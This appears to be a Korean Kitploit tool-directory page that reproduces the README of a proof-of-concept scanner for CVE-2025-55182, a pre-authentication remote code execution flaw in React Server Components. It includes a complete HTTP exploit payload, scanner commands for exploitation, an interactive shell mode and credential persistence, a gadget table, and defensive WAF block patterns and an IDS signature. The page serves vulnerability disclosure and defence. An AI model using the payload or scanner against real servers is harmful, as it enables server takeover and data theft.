Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182-POC-SCANNER — 통합 보안 연구 도구 | Kitploit
도구/GitHubGitHub/im-hanzou/cve-2025-55182-poc-scanner
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationPenetration TestingPapers & ResearchLearning & EducationRed TeamingPayload Development
GitHubim-hanzou/cve-2025-55182-poc-scanner

CVE-2025-55182-POC-SCANNER

통합 보안 연구 도구

89개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기

CVE-2025-55182: React Server Components의 사전 인증 없이 가능한 원격 코드 실행 치명적 취약점

CVE-2025-55182 CVSS 10.0 영향받는 React 버전 영향받는 Next.js 버전

schema.cx의 보안 연구
"통제는 환상이다. 우리를 통제하는 것은 우리가 구축한 시스템이다—우리가 먼저 그것을 이해하지 않는 한 말이다."


📋 목차

  • 면책 및 법적 고지
  • 간략 요약
  • 기술 설명
  • 영향받는 시스템
  • 개념 증명
  • 영향 평가
  • 완화 및 수정
  • 책임 있는 공개 타임라인
  • 참고 자료
  • 출처

⚠️ 면책 및 법적 고지

이 도구는 승인된 보안 테스트 전용입니다.

잠깐. 진행하기 전에 이 내용을 읽으십시오.

이 저장소는 치명적인 보안 취약점에 대한 개념 증명 코드를 포함하고 있습니다. 이 저장소의 자료에 접근, 다운로드 또는 사용함으로써 귀하는 다음 사항을 인지하고 동의하는 것으로 간주됩니다.

법적 요구 사항

  1. 서면 승인 필요: 보안 테스트를 수행하기 전에 시스템 소유자로부터 명시적이고 서면으로 된 허가를 반드시 받아야 합니다. 구두 합의는 불충분합니다.

  2. 범위 제한: 테스트는 귀하의 승인에 명시적으로 명시된 시스템으로 제한되어야 합니다. "범위 확장"은 허용되지 않습니다.

  3. 관련 법률: 승인되지 않은 컴퓨터 시스템 접근은 다음을 위반합니다.

    • 미국: 컴퓨터 사기 및 남용 방지법(CFAA), 18 U.S.C. § 1030
    • 유럽 연합: 정보 시스템에 대한 공격에 관한 지침 2013/40/EU
    • 영국: 컴퓨터 오용법 1990
    • 호주: 형법 1995, 477-478부
    • 기타 관할권: 유사한 컴퓨터 범죄 법률이 전 세계적으로 적용됩니다.

책임 부인

이 저장소의 작성자 및 기여자는 다음을 수행합니다.

  • 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.
  • 묵시적이거나 명시적인 어떠한 보증도 제공하지 않습니다.
  • 이 소프트웨어의 사용 또는 사용 불가능으로 인해 발생하는 어떠한 손해에 대해서도 책임을 지지 않습니다.
  • 어떠한 종류의 불법 활동도 지지하지 않습니다.

윤리 지침

  • 허가 없이 테스트하지 마십시오. — "그냥 확인"하고 싶은 경우에도 마찬가지입니다.
  • 모든 것을 문서화하십시오. — 모든 테스트 활동의 상세 로그를 유지하십시오.
  • 영향을 최소화하십시오. — 가능한 한 덜 침습적인 방법을 사용하십시오.
  • 책임감 있게 보고하십시오. — 조정된 공개 관행을 따르십시오.
  • 개인정보를 존중하십시오. — 민감한 데이터를 유출하거나 보관하지 마십시오.

"질문은 취약점을 악용할 수 있는지 여부가 아닙니다. 그것은 우리가 그래야 하는지, 그리고 어떤 목적을 위한 것인지입니다."


📊 간략 요약

CVE-2025-55182는 React 19.x 및 Next.js 15.x-16.x 애플리케이션의 React Server Components에 영향을 미치는 사전 인증 없이 가능한 원격 코드 실행(RCE) 치명적 취약점입니다.

비즈니스 영향

이 취약점은 취약한 애플리케이션에 네트워크 접근이 가능한 모든 인증되지 않은 공격자가 서버에서 임의의 명령을 실행할 수 있도록 합니다. 이 공격은 자격 증명, 사용자 상호 작용이 필요 없으며 완전히 자동화될 수 있습니다. 성공적인 악용은 다음과 같은 결과를 초래합니다.

  • 완전한 서버 장악 — 공격자는 기본 시스템에 대한 완전한 통제권을 얻습니다.
  • 데이터 유출 가능성 — 데이터베이스, 환경 변수, 비밀 및 사용자 데이터에 접근합니다.
  • 수평 이동 — 손상된 서버는 내부 네트워크를 공격하는 데 사용될 수 있습니다.
  • 공급망 위험 — 수백만 사용자에게 서비스를 제공하는 프로덕션 시스템이 영향을 받을 수 있습니다.

심각도 등급

"사람들은 시스템을 이해하지 못하기 때문에 신뢰합니다. 그 신뢰는 취약점입니다."


🔬 기술 설명

근본 원인 분석

이 취약점은 requireModule 함수 내 React의 Flight 프로토콜 구현에 존재합니다. 이 함수는 대괄호 표기법을 사용하여 사용자 제어 입력을 기반으로 모듈 내보내기에 접근하면서, 요청된 속성이 모듈의 고유 속성(own property) 인지 확인하지 않습니다.

취약한 코드 위치:

root@kitploit:~
react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js
함수: requireModule (v19.0.0 기준 약 2546-2558행)

취약한 패턴:

root@kitploit:~
function requireModule(metadata) {
  var moduleExports = __webpack_require__(metadata[0]);
  // ... 비동기 처리 ...
  return moduleExports[metadata[2]];  // ← 취약: hasOwnProperty 검사 없음
}

악용 메커니즘

공격은 JavaScript의 프로토타입 체인 탐색을 활용합니다.

  1. 진입점: 공격자는 Server Action 엔드포인트에 악의적인 multipart form 요청을 보냅니다.
  2. 페이로드 삽입: $ACTION_0:0 필드에는 공격자가 제어하는 id(module#export 형식) 및 bound(인수) 속성을 가진 JSON이 포함됩니다.
  3. 프로토타입 접근: constructor와 같은 내보내기를 지정하거나 프로토타입 속성에 접근하여 공격자는 내장 Node.js 모듈을 참조할 수 있습니다.
  4. RCE Gadget: vm.runInThisContext, child_process.execSync, fs.readFileSync와 같은 함수가 공격자가 제공한 인수로 실행됩니다.

공격 벡터

root@kitploit:~
HTTP POST /formaction
    ↓
decodeAction(formData, serverManifest)
    ↓
loadServerReference(manifest, value.id, value.bound)
    ↓
resolveServerReference(config, id)  // "module#export" 형식 구문 분석
    ↓
requireModule(metadata)
    ↓
moduleExports[metadata[2]]  // 프로토타입 체인 접근 → RCE

페이로드 구조

root@kitploit:~
POST /api/action HTTP/1.1
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"

------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"

{"id":"vm#runInThisContext","bound":["require('child_process').execSync('whoami').toString()"]}
------Boundary--

사용 가능한 RCE Gadget

"모든 시스템에는 문이 있습니다. 문제는 당신이 자물쇠를 직접 만들었는지, 아니면 방문자를 기대하지 않은 누군가로부터 물려받았는지입니다."


🎯 영향받는 시스템

취약한 버전

제품취약한 버전패치된 버전
React19.0.0, 19.1.0, 19.1.1, 19.2.019.0.1+, 19.1.2+, 19.2.1+
Next.js15.x, 16.x (취약한 React 사용)패치된 React가 포함된 버전

악용을 위한 전제 조건

  1. React Server Components 활성화: 애플리케이션이 Server Actions와 함께 RSC를 사용해야 함
  2. 취약한 React 버전: 영향을 받는 버전 중 하나가 사용 중이어야 함
  3. 네트워크 접근: 공격자가 Server Action 엔드포인트에 도달할 수 있어야 함
  4. 번들 내 위험한 모듈: 직접 RCE를 위해 vm, child_process 또는 fs와 같은 모듈이 webpack 번들에 포함되어야 함

플랫폼 요구 사항

  • 런타임: Node.js (React 19를 지원하는 모든 버전)
  • 프레임워크: Next.js App Router 또는 사용자 정의 RSC 구현
  • 취약해지기 위해 추가 구성이 필요하지 않음

위험한 모듈의 가능성


🔧 개념 증명

스캐너 도구

이 저장소에는 여러 작동 모드를 가진 포괄적인 Python 기반 보안 스캐너가 포함되어 있습니다.

저장소 구조

root@kitploit:~
CVE-2025-55182-poc/
├── README.md                    # 이 파일
├── scanner/
│   ├── __init__.py             # Python 패키지 초기화
│   ├── scanner.py              # 주요 통합 스캐너 (6가지 모드)
│   ├── readme.md               # 상세 스캐너 문서
│   ├── requirements.txt        # Python 종속성
│   └── docs/
│       ├── TECHNICAL-ANALYSIS.md    # 취약점 심층 분석
│       └── VULNERABLE-PACKAGES.md   # 영향받는 패키지 버전

설치:

root@kitploit:~
cd scanner
pip install -r requirements.txt

기본 사용 예제

취약점 스캔:

root@kitploit:~
# 대상이 취약한지 확인
python scanner.py scan https://target.com

Gadget 탐지:

root@kitploit:~
# 사용 가능한 RCE gadget 식별
python scanner.py exploit https://target.com --detect-gadgets

명령 실행 (권한 있음):

root@kitploit:~
# 취약한 대상에서 명령 실행
python scanner.py exploit https://target.com -c "whoami"

배치 테스트:

root@kitploit:~
# 파일에서 여러 대상 테스트
python scanner.py batch -f targets.txt -o results.json

확인을 포함한 자동 스캔:

root@kitploit:~
# 악용 확인을 포함한 종합 스캔
python scanner.py auto -f targets.txt -o report.txt

예상 출력

취약한 대상:

root@kitploit:~
[+] CVE-2025-55182에 취약합니다!
    프레임워크: Next.js
    버전: 15.1.0
    신뢰도: 높음
    
사용 가능한 Gadget:
  ✓ vm#runInThisContext
  ✓ child_process#execSync
  ✓ fs#readFileSync
  ✓ fs#writeFileSync

패치된 대상:

root@kitploit:~
[-] 취약하지 않거나 확인할 수 없음
    탐지된 프레임워크: Next.js
    버전: 15.2.0 (패치됨)

스캐너 모드

기능

  • 프레임워크 탐지: 악용 전에 Next.js/React 애플리케이션 식별
  • WAF/CDN 탐지: Cloudflare, Akamai, Incapsula, AWS WAF, Azure WAF 등을 인식
  • 다중 RCE Gadget: vm, child_process, fs, module 악용 경로
  • 2단계 RCE: fs#writeFileSync + module#_load를 통한 대체 악용
  • 확인: 실행 증명으로 악용 확인
  • 오탐 방지: HTML/WAF 응답의 스마트 필터링
  • 보고: 텍스트, JSON 및 HTML 출력 형식

전체 문서는 scanner/readme.md를 참조하세요.

"도구는 그 뒤에 있는 의도만큼 위험합니다. 올바른 손에서 무기는 방패가 됩니다."


💥 영향 평가

기밀성 영향: 높음

  • 환경 변수: 데이터베이스 자격 증명, API 키, 비밀
  • 소스 코드: 애플리케이션 로직, 독점 알고리즘
  • 사용자 데이터: 개인 정보, 인증 토큰
  • 시스템 파일: /etc/passwd, SSH 키, 클라우드 자격 증명
  • 내부 네트워크: 추가 공격을 위한 피봇 포인트

무결성 영향: 높음

  • 코드 삽입: 애플리케이션 파일의 백도어
  • 데이터 변조: 데이터베이스 수정
  • 구성 변경: 보안 설정, 접근 제어
  • 지속성 메커니즘: 크론 작업, 시작 스크립트, SSH 키

가용성 영향: 높음

  • 서비스 중단: 프로세스 종료, 리소스 고갈
  • 데이터 파괴: 파일 삭제, 데이터베이스 드롭
  • 랜섬웨어 배포: 중요 파일 암호화
  • 완전한 시스템 장악: 전체 관리 제어

공격 시나리오

  1. 데이터 유출: 공격자가 데이터베이스 자격 증명이 포함된 .env 파일을 읽고 고객 데이터를 유출합니다.

  2. 암호화폐 채굴기 설치: 공격자가 채굴 스크립트를 작성하고 지속성을 위해 크론 작업을 추가합니다.

  3. 공급망 공격: 공격자가 프로덕션에서 소스 코드를 수정하여 사용자에게 악성 콘텐츠를 제공합니다.

  4. 수평 이동: 손상된 서버가 내부 데이터베이스, API 및 서비스를 공격하는 데 사용됩니다.

  5. 랜섬웨어: 공격자가 애플리케이션 파일을 암호화하고 복호화 키에 대한 지불을 요구합니다.


🛡️ 완화 및 수정

즉시 조치 (지금 수행)

  1. React 즉시 업그레이드

    root@kitploit:~
    npm update react react-dom react-server-dom-webpack
    

    대상 버전: 19.0.1+, 19.1.2+ 또는 19.2.1+

  2. 패치 적용 확인

    root@kitploit:~
    npm ls react
    

    종속성 트리에 취약한 버전이 남아 있지 않은지 확인합니다.

WAF/방화벽 규칙

다음 패턴을 포함하는 요청을 차단합니다.

root@kitploit:~
# 차단할 요청 본문 패턴
#constructor
#__proto__
#prototype
vm#runInThisContext
vm#runInNewContext
child_process#execSync
child_process#execFileSync
child_process#spawnSync
module#_load
fs#readFileSync
fs#writeFileSync

Next.js 구성 강화

webpack 번들링에서 위험한 패키지 제외:

root@kitploit:~
// next.config.js
module.exports = {
  serverExternalPackages: [
    'sharp',
    'puppeteer',
    'execa',
    'shelljs',
    'vm2'
  ]
}

탐지 및 모니터링

모니터링할 로그 패턴:

  • 요청 본문의 비정상적인 $ACTION_REF_ 또는 $ACTION_ID_ 필드
  • JSON이 포함된 multipart form 데이터가 있는 /api/* 엔드포인트에 대한 POST 요청
  • constructor, prototype 또는 예상치 못한 모듈 접근을 참조하는 오류 메시지

침입 탐지 시그니처:

root@kitploit:~
alert http any any -> $HOME_NET any (
  msg:"CVE-2025-55182 악용 시도";
  content:"$ACTION_";
  content:"#constructor"; distance:0;
  sid:2025551820; rev:1;
)

장기 권장 사항

  1. 종속성 감사: npm audit, Snyk 또는 유사한 도구로 정기적인 스캔
  2. 보안 업데이트: Dependabot 또는 Renovate를 통한 자동 종속성 업데이트
  3. 입력 검증: 속성 접근 패턴에서 사용자 입력을 신뢰하지 마십시오.
  4. 최소 권한: 애플리케이션을 필요한 최소 권한으로 실행하십시오.
  5. 네트워크 분할: 프로덕션 시스템을 내부 네트워크와 분리하십시오.

"패치는 단순히 고장난 것을 수리하는 것이 아닙니다. 당신이 열려 있는지 몰랐던 문을 닫는 것입니다."


📅 책임 있는 공개 타임라인

이 공개는 CERT/CC 취약점 공개 지침 및 ISO/IEC 29147:2018 조정된 취약점 공개 표준을 따릅니다.


📚 참고 자료

공식 리소스

  • CVE 항목: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • NVD 항목: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

공급업체 권고

  • React 보안 권고: https://github.com/facebook/react/security/advisories
  • Next.js 보안: https://nextjs.org/docs/security

관련 연구

  • 기술 분석 (심층)
  • 취약한 패키지 분석

배경 자료

  • OWASP - 프로토타입 오염
  • Node.js VM 모듈 보안
  • React Server Components RFC

🏆 출처

원본 연구

이 개념 증명은 schema.cx 의 보안 연구팀에 의해 개발되었습니다.

저장소: https://github.com/ejpir/CVE-2025-55182-poc

감사의 말

다음 분들께 감사드립니다.

  • 신속하게 대응한 React 및 Next.js 보안 팀
  • 협력적 분석을 제공한 보안 연구 커뮤니티
  • CVE 조정을 위한 MITRE

📜 라이선스

이 프로젝트는 교육 및 승인된 보안 연구 목적으로만 공개됩니다.

이 소프트웨어를 사용함으로써 귀하는 다음에 동의합니다.

  1. 귀하가 소유하거나 테스트할 명시적 권한이 있는 시스템에서만 사용할 것
  2. 책임 있는 공개 관행을 따를 것
  3. 악의적인 목적으로 사용하지 않을 것
  4. 귀하의 행동에 대한 모든 책임을 수락할 것

"우리는 파괴하기 위해 해킹하는 것이 아닙니다. 이해하기 위해 해킹합니다. 그리고 이해는 더 나은 것을 구축하기 위한 첫걸음입니다."

schema.cx — 더 안전한 디지털 세상을 위한 보안 연구

도구 다운로드
지표등급
CVSS v3.1 기본 점수10.0 치명적
공격 경로네트워크
공격 복잡도낮음
필요 권한없음
사용자 상호 작용없음
영향 (기밀성/무결성/가용성)높음 / 높음 / 높음
Gadget모듈설명영향
vm#runInThisContextvm현재 컨텍스트에서 JS 실행직접 RCE
vm#runInNewContextvm샌드박스에서 JS 실행 (탈출 가능)직접 RCE
child_process#execSyncchild_process셸 명령 실행직접 RCE
child_process#spawnSyncchild_process프로세스 생성직접 RCE
fs#readFileSyncfs임의 파일 읽기데이터 유출
fs#writeFileSyncfs임의 파일 쓰기지속성/백도어
module#_loadmoduleJS 모듈 로드 (2단계 RCE)간접 RCE
모듈번들 내 가능성일반적인 출처
fs매우 높음fs-extra, gray-matter, multer, sharp, chokidar
child_process중간-높음execa, shelljs, puppeteer, sharp, PDF 생성기
vm낮음-중간ejs, pug, 템플릿 엔진
module매우 낮음tsx, ts-node (보통 CLI 전용)
모드목적
scan취약점 탐지 및 핑거프린팅
exploit특정 gadget을 사용한 통제된 악용
shell취약한 대상에서 대화형 명령 셸
batch통계와 함께 여러 URL 테스트
auto확인을 포함한 자동 다중 대상 스캔
persist지속성 공격 시연 (SSH 키, 자격 증명)
날짜이벤트
발견정보 보류됨
공급업체 통지정보 보류됨
공급업체 확인정보 보류됨
패치 개발정보 보류됨
패치 릴리스React 19.0.1, 19.1.2, 19.2.1
공개 공개정보 보류됨
CVE 할당CVE-2025-55182